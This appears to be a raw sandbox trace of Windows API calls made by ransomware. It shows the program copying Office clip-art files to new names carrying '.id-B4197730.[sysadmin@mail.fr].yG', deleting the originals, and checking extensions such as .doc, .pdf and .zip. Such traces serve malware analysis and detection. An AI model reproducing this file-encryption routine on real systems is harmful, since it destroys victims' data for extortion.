	[0167.059] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.059] SetEndOfFile (hFile=0x350) returned 1
	[0167.089] CloseHandle (hObject=0x350) returned 1
	[0167.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1
	[0167.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0167.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0167.765] lstrlenW (lpString=".doc") returned 4
	[0167.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.765] lstrlenW (lpString=".docx") returned 5
	[0167.765] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.765] lstrlenW (lpString=".pdf") returned 4
	[0167.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.765] lstrlenW (lpString=".xls") returned 4
	[0167.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.765] lstrlenW (lpString=".xlsx") returned 5
	[0167.765] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.766] lstrlenW (lpString=".ppt") returned 4
	[0167.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0167.766] lstrlenW (lpString=".zip") returned 4
	[0167.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.766] lstrlenW (lpString=".rar") returned 4
	[0167.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.766] lstrlenW (lpString=".bz2") returned 4
	[0167.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.766] lstrlenW (lpString=".7z") returned 3
	[0167.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0167.766] lstrlenW (lpString=".dbf") returned 4
	[0167.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0167.766] lstrlenW (lpString=".1cd") returned 4
	[0167.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0167.766] lstrlenW (lpString=".jpg") returned 4
	[0167.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.806] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=17332) returned 1
	[0167.806] CloseHandle (hObject=0x554) returned 1
	[0167.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220
	[0168.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0168.406] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.406] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0168.407] GetLastError () returned 0x0
	[0168.407] ReadFile (in: hFile=0x364, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x43b4, lpOverlapped=0x0) returned 1
	[0168.410] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x43c0, lpOverlapped=0x0) returned 1
	[0168.413] ReadFile (in: hFile=0x364, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.413] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.413] SetEndOfFile (hFile=0x48c) returned 1
	[0168.413] CloseHandle (hObject=0x48c) returned 1
	[0168.414] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.414] SetEndOfFile (hFile=0x364) returned 1
	[0168.418] CloseHandle (hObject=0x364) returned 1
	[0168.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1
	[0168.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0168.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0168.420] lstrlenW (lpString=".doc") returned 4
	[0168.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.420] lstrlenW (lpString=".docx") returned 5
	[0168.420] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.420] lstrlenW (lpString=".pdf") returned 4
	[0168.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.421] lstrlenW (lpString=".xls") returned 4
	[0168.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.421] lstrlenW (lpString=".xlsx") returned 5
	[0168.422] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.422] lstrlenW (lpString=".ppt") returned 4
	[0168.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0168.422] lstrlenW (lpString=".zip") returned 4
	[0168.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.422] lstrlenW (lpString=".rar") returned 4
	[0168.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.422] lstrlenW (lpString=".bz2") returned 4
	[0168.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.422] lstrlenW (lpString=".7z") returned 3
	[0168.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0168.422] lstrlenW (lpString=".dbf") returned 4
	[0168.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0168.422] lstrlenW (lpString=".1cd") returned 4
	[0168.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0168.422] lstrlenW (lpString=".jpg") returned 4
	[0168.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.424] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=11900) returned 1
	[0168.424] CloseHandle (hObject=0x364) returned 1
	[0168.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220
	[0168.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0168.425] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.426] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0168.427] GetLastError () returned 0x0
	[0168.427] ReadFile (in: hFile=0x364, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2e7c, lpOverlapped=0x0) returned 1
	[0168.429] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0168.432] ReadFile (in: hFile=0x364, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.432] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.432] SetEndOfFile (hFile=0x48c) returned 1
	[0168.433] CloseHandle (hObject=0x48c) returned 1
	[0168.433] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.433] SetEndOfFile (hFile=0x364) returned 1
	[0168.436] CloseHandle (hObject=0x364) returned 1
	[0168.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1
	[0168.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.438] lstrlenW (lpString=".doc") returned 4
	[0168.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.438] lstrlenW (lpString=".docx") returned 5
	[0168.438] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.438] lstrlenW (lpString=".pdf") returned 4
	[0168.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.438] lstrlenW (lpString=".xls") returned 4
	[0168.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.438] lstrlenW (lpString=".xlsx") returned 5
	[0168.438] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.438] lstrlenW (lpString=".ppt") returned 4
	[0168.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.439] lstrlenW (lpString=".zip") returned 4
	[0168.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.439] lstrlenW (lpString=".rar") returned 4
	[0168.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.439] lstrlenW (lpString=".bz2") returned 4
	[0168.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.439] lstrlenW (lpString=".7z") returned 3
	[0168.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.439] lstrlenW (lpString=".dbf") returned 4
	[0168.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.626] lstrlenW (lpString=".1cd") returned 4
	[0168.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0168.626] lstrlenW (lpString=".jpg") returned 4
	[0168.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0168.996] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.996] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0169.040] GetLastError () returned 0x0
	[0169.040] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x864, lpOverlapped=0x0) returned 1
	[0169.109] WriteFile (in: hFile=0x350, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x870, lpOverlapped=0x0) returned 1
	[0169.110] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.110] WriteFile (in: hFile=0x350, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.110] SetEndOfFile (hFile=0x350) returned 1
	[0169.113] CloseHandle (hObject=0x350) returned 1
	[0169.117] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.117] SetEndOfFile (hFile=0x554) returned 1
	[0169.122] CloseHandle (hObject=0x554) returned 1
	[0169.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1
	[0169.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0169.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0169.126] lstrlenW (lpString=".doc") returned 4
	[0169.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.126] lstrlenW (lpString=".docx") returned 5
	[0169.126] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.126] lstrlenW (lpString=".pdf") returned 4
	[0169.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.126] lstrlenW (lpString=".xls") returned 4
	[0169.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.126] lstrlenW (lpString=".xlsx") returned 5
	[0169.126] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.126] lstrlenW (lpString=".ppt") returned 4
	[0169.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0169.126] lstrlenW (lpString=".zip") returned 4
	[0169.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.127] lstrlenW (lpString=".rar") returned 4
	[0169.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.127] lstrlenW (lpString=".bz2") returned 4
	[0169.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.127] lstrlenW (lpString=".7z") returned 3
	[0169.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0169.127] lstrlenW (lpString=".dbf") returned 4
	[0169.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0169.127] lstrlenW (lpString=".1cd") returned 4
	[0169.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0169.127] lstrlenW (lpString=".jpg") returned 4
	[0169.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.129] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=48388) returned 1
	[0169.129] CloseHandle (hObject=0x554) returned 1
	[0169.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220
	[0169.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0169.130] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.130] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0169.131] GetLastError () returned 0x0
	[0169.131] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xbd04, lpOverlapped=0x0) returned 1
	[0169.193] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xbd10, lpOverlapped=0x0) returned 1
	[0169.195] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.195] WriteFile (in: hFile=0x388, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.195] SetEndOfFile (hFile=0x388) returned 1
	[0169.195] CloseHandle (hObject=0x388) returned 1
	[0169.195] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.196] SetEndOfFile (hFile=0x554) returned 1
	[0169.217] CloseHandle (hObject=0x554) returned 1
	[0169.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1
	[0169.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0169.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0169.219] lstrlenW (lpString=".doc") returned 4
	[0169.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.219] lstrlenW (lpString=".docx") returned 5
	[0169.219] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.219] lstrlenW (lpString=".pdf") returned 4
	[0169.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.219] lstrlenW (lpString=".xls") returned 4
	[0169.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.219] lstrlenW (lpString=".xlsx") returned 5
	[0169.219] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.219] lstrlenW (lpString=".ppt") returned 4
	[0169.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0169.219] lstrlenW (lpString=".zip") returned 4
	[0169.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.220] lstrlenW (lpString=".rar") returned 4
	[0169.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.220] lstrlenW (lpString=".bz2") returned 4
	[0169.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.220] lstrlenW (lpString=".7z") returned 3
	[0169.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0169.220] lstrlenW (lpString=".dbf") returned 4
	[0169.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0169.220] lstrlenW (lpString=".1cd") returned 4
	[0169.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0169.220] lstrlenW (lpString=".jpg") returned 4
	[0169.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.221] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=13456) returned 1
